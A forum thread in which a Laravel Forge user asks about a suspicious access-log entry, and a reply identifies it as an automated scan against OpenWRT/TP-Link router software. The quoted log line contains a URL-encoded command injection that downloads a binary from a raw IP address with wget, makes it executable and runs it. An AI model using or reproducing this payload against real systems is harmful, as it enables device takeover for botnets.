Be part of JetBrains PHPverse 2026 on June 9 – a free online event bringing PHP devs worldwide together.
Hey guys it's me again there is strange happening for me starting when I started using Laravel forge! so let me explain I got a server from Hetzner and connected it to Laravel Forge and everything worked perfectly! after some hours I lost SSH connection to my server but forge was functional I asked for a total fresh server from the support team and installed everything again but this time I got public private pair key to connect server as my last experience but after 1 day again I lost connecting to my server via password and via keys! i was checking logs from the forge side I saw this line
84.54.51.37 - - [16/Jun/2024:00:33:12 +0000] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F94.156.71.83%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60) HTTP/1.1" 444 0 "-" "Go-http-client/1.1"
Do you guys know what is this ?! or why its happening ?!
I’ve seen that before… If I recall, that log entry is from your access log. It is from an external entity trying to exploit the OpenWRT services that typically runs on routers or camera devices. It’s just a bit scanning you. Unless you’ve been exploited. If you manually what that URL, you can see the shell Script they are trying to execute. Welcome to the wild wild web..
Please or to participate in this conversation.